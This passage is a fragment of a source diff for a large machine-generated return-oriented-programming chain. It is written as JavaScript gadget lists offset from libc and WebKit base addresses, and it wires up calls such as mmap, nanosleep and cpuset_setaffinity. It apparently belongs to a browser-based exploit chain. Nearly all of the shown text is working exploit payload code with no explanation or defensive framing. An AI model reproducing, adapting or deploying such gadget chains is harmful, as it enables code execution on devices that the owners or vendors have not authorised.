//sub rax, rcx ; sbb rdx, rcx -libc_base+793877, //pop rsi -ropchain+311232, //L5780 -webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+311200, //L5777 +ropchain+307216, //L5564 webkit_base+7438103, //mov [rsi], rax -libc_base+272260, //mov rax, rsi +libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+311184, //L5778 +ropchain+307200, //L5563 webkit_base+7438103, //mov [rsi], rax -webkit_base+3750700 //pop r11 ; mov rax, rdi +libc_base+206806 //pop rdi ]); -//L5778: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L5777: +//L5563: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L5779: -db([8, 0]); // 0x8 set_gadget(libc_base+788575,); //pop rax -//L5780: +//L5564: db([0, 0]); // 0x0 set_gadgets([ -webkit_base+1506828, //imul rax, rcx +libc_base+191168, //mov rax, [rdi] +libc_base+793877 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+311304, //L5781 +ropchain+307312, //L5565 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+311320, //L5782 +ropchain+307328, //L5566 webkit_base+7438103, //mov [rsi], rax -libc_base+792472 //pop rcx +webkit_base+432898 //pop r8 ]); -//L5781: +//L5565: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5782: +//L5566: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -41810,228 +40945,242 @@ libc_base+793877 //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+311408, //L5783 +ropchain+307440, //L5567 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+792472 //pop rcx -]); -//L5783: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+311464, //L5786 +ropchain+307424, //L5568 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+792472 //pop rcx +libc_base+788575 //pop rax ]); -//L5786: +//L5568: +db([0, 0]); // 0x0 +set_gadget(libc_base+811575,); //pop rsp +//L5567: db([0, 0]); // 0x0 +//L5526: set_gadget(libc_base+793877,); //pop rsi -db([4294967288, 4294967295]); // -0x8 +db([208, 0]); // 0xd0 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+793877, //pop rsi -ropchain+311536, //L5787 -webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+792472 //pop rcx +libc_base+788575, //pop rax +libc_base+206806, //pop rdi +libc_base+471355, //mov [rdi], rax +libc_base+793877 //pop rsi ]); -//L5787: -db([0, 0]); // 0x0 +db([4294967280, 4294967295]); // -0x10 set_gadgets([ -libc_base+191168, //mov rax, [rdi] +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+788575, //pop rax libc_base+793877, //pop rsi -ropchain+311592, //L5790 -webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+792472 //pop rcx -]); -//L5790: -db([0, 0]); // 0x0 -set_gadgets([ -webkit_base+2997875, //mov [rax], rcx -libc_base+191168, //mov rax, [rdi] +libc_base+471355, //mov [rdi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+788575, //pop rax +webkit_base+105267, //pop rdx +libc_base+471355, //mov [rdi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+788575, //pop rax +libc_base+792472, //pop rcx +libc_base+471355, //mov [rdi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+788575, //pop rax +webkit_base+432898, //pop r8 +libc_base+471355, //mov [rdi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+788575, //pop rax +webkit_base+10235455, //pop r9 +libc_base+471355, //mov [rdi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+788575, //pop rax +libc_base+785193, //xor rax, rax +libc_base+471355, //mov [rdi], rax libc_base+793877 //pop rsi ]); db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+759626, //mov rax, r8 +libc_base+788575, //pop rax +libc_base+11, //nop +libc_base+471355, //mov [rdi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+788575, //pop rax +libc_base+11, //nop +libc_base+471355, //mov [rdi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+788575, //pop rax libc_base+793877, //pop rsi -ropchain+311696, //L5792 -webkit_base+7438103, //mov [rsi], rax +libc_base+471355, //mov [rdi], rax libc_base+793877 //pop rsi ]); -//L5791: db([4294967280, 4294967295]); // -0x10 -set_gadget(libc_base+788575,); //pop rax -//L5792: -db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+788575, //pop rax +webkit_base+7438103, //mov [rsi], rax +libc_base+471355, //mov [rdi], rax libc_base+793877 //pop rsi ]); -db([8, 0]); // 0x8 +db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+788575, //pop rax +libc_base+792472, //pop rcx libc_base+471355, //mov [rdi], rax -libc_base+788575 //pop rax +libc_base+793877 //pop rsi ]); -//L5793: -db([16, 0]); // 0x10 -set_gadget(libc_base+793877,); //pop rsi -db([8, 0]); // 0x8 +db([4294967280, 4294967295]); // -0x10 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+788575, //pop rax +libc_base+206806, //pop rdi libc_base+471355, //mov [rdi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+788575, //pop rax -//L5795: -ropchain+311856, //L5794 +webkit_base+432898, //pop r8 +libc_base+471355, //mov [rdi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+788575, //pop rax +libc_base+811575, //pop rsp +libc_base+471355, //mov [rdi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+191168, //mov rax, [rdi] libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax -libc_base+811575, //pop rsp -ropchain+313952, //L5796 -//L5794: -libc_base+882884, //mov rax, rcx -libc_base+793877, //pop rsi -ropchain+311968, //L5798 -webkit_base+7438103, //mov [rsi], rax -libc_base+793877, //pop rsi -ropchain+311984, //L5799 -webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi -libc_base+793877, //pop rsi -ropchain+311952, //L5797 -webkit_base+7438103, //mov [rsi], rax -webkit_base+3750700 //pop r11 ; mov rax, rdi +libc_base+793877 //pop rsi ]); -//L5797: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L5798: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L5799: -db([0, 0]); // 0x0 +db([4294967280, 4294967295]); // -0x10 set_gadgets([ -webkit_base+6227286, //movsxd rax, edi -libc_base+793877, //pop rsi -ropchain+312080, //L5801 -webkit_base+7438103, //mov [rsi], rax -webkit_base+1786005, //mov rax, r11 -libc_base+793877, //pop rsi -ropchain+312064, //L5800 -webkit_base+7438103, //mov [rsi], rax -libc_base+206806 //pop rdi +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+191168, //mov rax, [rdi] +libc_base+793877 //pop rsi ]); -//L5800: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L5801: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -db([8, 0]); // 0x8 +db([208, 0]); // 0xd0 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax -libc_base+788575 //pop rax +libc_base+793877 //pop rsi ]); -//L5802: -db([2, 0]); // 0x2 -set_gadget(libc_base+793877,); //pop rsi -db([8, 0]); // 0x8 +db([4294967080, 4294967295]); // -0xd8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+471355, //mov [rdi], rax -libc_base+788575 //pop rax +libc_base+191168, //mov rax, [rdi] +libc_base+793877 //pop rsi ]); -//L5803: -db([3, 0]); // 0x3 -set_gadget(libc_base+793877,); //pop rsi -db([8, 0]); // 0x8 +db([200, 0]); // 0xc8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax -libc_base+788575, //pop rax -//L5805: -ropchain+312280, //L5804 libc_base+793877 //pop rsi ]); -db([8, 0]); // 0x8 +db([4294967088, 4294967295]); // -0xd0 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+191168, //mov rax, [rdi] +libc_base+793877 //pop rsi +]); +db([192, 0]); // 0xc0 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax -libc_base+811575, //pop rsp -ropchain+312624, //L5806 -//L5804: -libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); -db([4294967256, 4294967295]); // -0x28 +db([4294967096, 4294967295]); // -0xc8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+793877, //pop rsi -ropchain+312392, //L5808 -webkit_base+7438103, //mov [rsi], rax -libc_base+759626, //mov rax, r8 -libc_base+793877, //pop rsi -ropchain+312376, //L5807 -webkit_base+7438103, //mov [rsi], rax -libc_base+206806 //pop rdi +libc_base+191168, //mov rax, [rdi] +libc_base+793877 //pop rsi ]); -//L5807: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L5808: -db([0, 0]); // 0x0 +db([184, 0]); // 0xb8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+793877 //pop rsi +]); +db([4294967104, 4294967295]); // -0xc0 set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+191168, //mov rax, [rdi] libc_base+793877 //pop rsi ]); -db([4294967288, 4294967295]); // -0x8 +db([176, 0]); // 0xb0 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+793877, //pop rsi -ropchain+312488, //L5809 -webkit_base+7438103, //mov [rsi], rax -libc_base+793877, //pop rsi -ropchain+312504, //L5810 -webkit_base+7438103, //mov [rsi], rax -webkit_base+432898 //pop r8 +libc_base+471355, //mov [rdi], rax +libc_base+793877 //pop rsi ]); -//L5809: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L5810: -db([0, 0]); // 0x0 +db([4294967112, 4294967295]); // -0xb8 set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+191168, //mov rax, [rdi] libc_base+793877 //pop rsi ]); -db([4294967288, 4294967295]); // -0x8 +db([168, 0]); // 0xa8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+793877 //pop rsi +]); +db([4294967272, 4294967295]); // -0x18 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+50775, //mov rax, rdi +libc_base+792472 //pop rcx +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +webkit_base+5202439, //and rax, rcx +libc_base+792472, //pop rcx +nanosleep_addr, +webkit_base+2997875, //mov [rax], rcx +libc_base+793877 //pop rsi +]); +db([4294967192, 4294967295]); // -0x68 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+50775, //mov rax, rdi +libc_base+793877 //pop rsi +]); +db([48, 0]); // 0x30 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+793877 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+759626, //mov rax, r8 +libc_base+471355, //mov [rdi], rax +libc_base+793877 //pop rsi +]); +db([32, 0]); // 0x20 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+50775, //mov rax, rdi +libc_base+793877 //pop rsi +]); +db([24, 0]); // 0x18 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+793877 //pop rsi +]); +db([128, 0]); // 0x80 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+312616, //L5811 -webkit_base+7438103, //mov [rsi], rax -libc_base+793877, //pop rsi -ropchain+312600, //L5812 +ropchain+308768, //L5569 webkit_base+7438103, //mov [rsi], rax -libc_base+788575 //pop rax +libc_base+811575 //pop rsp ]); -//L5812: -db([0, 0]); // 0x0 -set_gadget(libc_base+811575,); //pop rsp -//L5811: +//L5569: db([0, 0]); // 0x0 -//L5806: +//L5541: set_gadget(libc_base+793877,); //pop rsi db([208, 0]); // 0xd0 set_gadgets([ @@ -42125,73 +41274,73 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877 //pop rsi ]); -db([4294967280, 4294967295]); // -0x10 +db([4294967272, 4294967295]); // -0x18 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+191168, //mov rax, [rdi] libc_base+793877 //pop rsi ]); -db([208, 0]); // 0xd0 +db([216, 0]); // 0xd8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877 //pop rsi ]); -db([4294967080, 4294967295]); // -0xd8 +db([4294967072, 4294967295]); // -0xe0 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+191168, //mov rax, [rdi] libc_base+793877 //pop rsi ]); -db([200, 0]); // 0xc8 +db([208, 0]); // 0xd0 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877 //pop rsi ]); -db([4294967088, 4294967295]); // -0xd0 +db([4294967080, 4294967295]); // -0xd8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+191168, //mov rax, [rdi] libc_base+793877 //pop rsi ]); -db([192, 0]); // 0xc0 +db([200, 0]); // 0xc8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877 //pop rsi ]); -db([4294967096, 4294967295]); // -0xc8 +db([4294967088, 4294967295]); // -0xd0 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+191168, //mov rax, [rdi] libc_base+793877 //pop rsi ]); -db([184, 0]); // 0xb8 +db([192, 0]); // 0xc0 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877 //pop rsi ]); -db([4294967104, 4294967295]); // -0xc0 +db([4294967096, 4294967295]); // -0xc8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+191168, //mov rax, [rdi] libc_base+793877 //pop rsi ]); -db([176, 0]); // 0xb0 +db([184, 0]); // 0xb8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877 //pop rsi ]); -db([4294967112, 4294967295]); // -0xb8 +db([4294967104, 4294967295]); // -0xc0 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+191168, //mov rax, [rdi] libc_base+793877 //pop rsi ]); -db([168, 0]); // 0xa8 +db([176, 0]); // 0xb0 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax @@ -42206,12 +41355,22 @@ libc_base+792472 //pop rcx db([4294967280, 4294967295]); // -0x10 set_gadgets([ webkit_base+5202439, //and rax, rcx -libc_base+792472, //pop rcx -cpuset_setaffinity_addr, +libc_base+793877 //pop rsi +]); +db([4294967216, 4294967295]); // -0x50 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+547950, //mov rcx, [rdi + 0x18] ; lea rax, [rax + rcx - 1] +libc_base+877175, //sub rax, rcx ; sbb rdx, rcx +libc_base+793877 //pop rsi +]); +db([1, 0]); // 0x1 +set_gadgets([ +libc_base+547636, //add rax, rsi webkit_base+2997875, //mov [rax], rcx libc_base+793877 //pop rsi ]); -db([4294967192, 4294967295]); // -0x68 +db([4294967272, 4294967295]); // -0x18 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+50775, //mov rax, rdi @@ -42247,13 +41406,13 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+313944, //L5813 +ropchain+310144, //L5570 webkit_base+7438103, //mov [rsi], rax libc_base+811575 //pop rsp ]); -//L5813: +//L5570: db([0, 0]); // 0x0 -//L5796: +//L5330: set_gadget(libc_base+793877,); //pop rsi db([208, 0]); // 0xd0 set_gadgets([ @@ -42429,7 +41588,7 @@ db([4294967280, 4294967295]); // -0x10 set_gadgets([ webkit_base+5202439, //and rax, rcx libc_base+792472, //pop rcx -getpid_addr, +mmap_addr, webkit_base+2997875, //mov [rax], rcx libc_base+793877 //pop rsi ]); @@ -42469,11 +41628,11 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+315272, //L5814 +ropchain+311472, //L5571 webkit_base+7438103, //mov [rsi], rax libc_base+811575 //pop rsp ]); -//L5814: +//L5571: db([0, 0]); // 0x0 //_main: set_gadget(libc_base+793877,); //pop rsi @@ -42481,23 +41640,23 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+315344, //L5816 +ropchain+311544, //L5572 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 webkit_base+432898 //pop r8 ]); -//L5816: +//L5572: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+315408, //L5818 +ropchain+311608, //L5575 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 webkit_base+432898 //pop r8 ]); -//L5818: +//L5575: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([2248, 0]); // 0x8c8 @@ -42505,7 +41664,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+788575 //pop rax ]); -//L5819: +//L5576: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -42513,8 +41672,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L5821: -ropchain+315552, //L5820 +//L5578: +ropchain+311752, //L5577 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -42522,8 +41681,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+393992, //L5822 -//L5820: +ropchain+390872, //L5579 +//L5577: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); @@ -42531,146 +41690,146 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+315688, //L5824 +ropchain+311888, //L5581 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+315704, //L5825 +ropchain+311904, //L5582 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+315672, //L5823 +ropchain+311872, //L5580 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L5823: +//L5580: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L5824: +//L5581: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5825: +//L5582: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+315816, //L5828 +ropchain+312016, //L5585 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+315800, //L5827 +ropchain+312000, //L5584 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L5826: +//L5583: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L5827: +//L5584: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5828: +//L5585: db([0, 0]); // 0x0 set_gadgets([ webkit_base+11676600, //cmp rax, rsi ; sete al libc_base+269973, //movzx eax, al libc_base+793877, //pop rsi -ropchain+315944, //L5830 +ropchain+312144, //L5587 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+315960, //L5831 +ropchain+312160, //L5588 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+315928, //L5829 +ropchain+312128, //L5586 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L5829: +//L5586: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L5830: +//L5587: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5831: +//L5588: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+316064, //L5834 +ropchain+312264, //L5591 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+316112, //L5836 +ropchain+312312, //L5593 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+316096, //L5835 +ropchain+312296, //L5592 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L5834: +//L5591: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi -//L5833: +//L5590: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L5835: +//L5592: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5836: +//L5593: db([0, 0]); // 0x0 set_gadgets([ webkit_base+11676600, //cmp rax, rsi ; sete al libc_base+269973, //movzx eax, al webkit_base+414627, //shl rax, 3 libc_base+793877, //pop rsi -ropchain+316224, //L5837+8 +ropchain+312424, //L5594+8 libc_base+547636, //add rax, rsi libc_base+186490, //mov rax, [rax] libc_base+793877, //pop rsi -ropchain+316216, //L5837 +ropchain+312416, //L5594 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+811575 //pop rsp ]); -//L5837: +//L5594: db([0, 0]); // 0x0 set_gadgets([ -ropchain+316240, //L5837+24 -ropchain+316680, //L5832 +ropchain+312440, //L5594+24 +ropchain+312880, //L5589 libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+316280, //L5839 +ropchain+312480, //L5595 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L5839: +//L5595: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5838: +//L5596: db([179, 0]); // 0xb3 set_gadget(libc_base+206806,); //pop rdi -//L5840: +//L5597: db([179, 0]); // 0xb3 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+316416, //L5841 +ropchain+312616, //L5598 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+316448, //L5843 +ropchain+312648, //L5600 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+316432, //L5842 +ropchain+312632, //L5599 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L5841: +//L5598: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L5842: +//L5599: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5843: +//L5600: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -42680,17 +41839,17 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+316544, //L5844 +ropchain+312744, //L5601 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+316560, //L5845 +ropchain+312760, //L5602 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 //pop r8 ]); -//L5844: +//L5601: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5845: +//L5602: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -42700,139 +41859,139 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+316672, //L5846 +ropchain+312872, //L5603 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+316656, //L5847 +ropchain+312856, //L5604 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); -//L5847: +//L5604: db([0, 0]); // 0x0 set_gadget(libc_base+811575,); //pop rsp -//L5846: +//L5603: db([0, 0]); // 0x0 -//L5832: +//L5589: set_gadgets([ libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L5848: -db([4294967292, 4294967295]); // -0x4 -set_gadget(libc_base+792472,); //pop rcx -//L5850: +//L5605: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L5606: +db([4294967292, 4294967295]); // -0x4 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+316776, //L5852 +ropchain+312976, //L5609 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L5851: +//L5608: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5852: +//L5609: db([0, 0]); // 0x0 set_gadgets([ webkit_base+954100, //mov [rax], ecx libc_base+793877, //pop rsi -ropchain+316832, //L5855 +ropchain+313032, //L5611 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L5855: +//L5611: db([0, 0]); // 0x0 -//L5853: +//L5610: set_gadgets([ libc_base+793877, //pop rsi -ropchain+316896, //L5858 +ropchain+313080, //L5613 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L5856: -db([4294967292, 4294967295]); // -0x4 -set_gadget(libc_base+792472,); //pop rcx -//L5858: +//L5613: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L5614: +db([4294967292, 4294967295]); // -0x4 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+317000, //L5861 +ropchain+313200, //L5618 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+316984, //L5860 +ropchain+313184, //L5616 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L5860: +//L5616: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L5861: +//L5618: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+317168, //L5864 +ropchain+313368, //L5621 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+317184, //L5865 +ropchain+313384, //L5622 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+317136, //L5862 +ropchain+313352, //L5619 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+317152, //L5863 +ropchain+313336, //L5620 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L5862: +//L5620: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L5863: +//L5619: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L5864: +//L5621: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5865: +//L5622: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+317256, //L5866 +ropchain+313456, //L5623 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+317272, //L5867 +ropchain+313472, //L5624 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L5866: +//L5623: 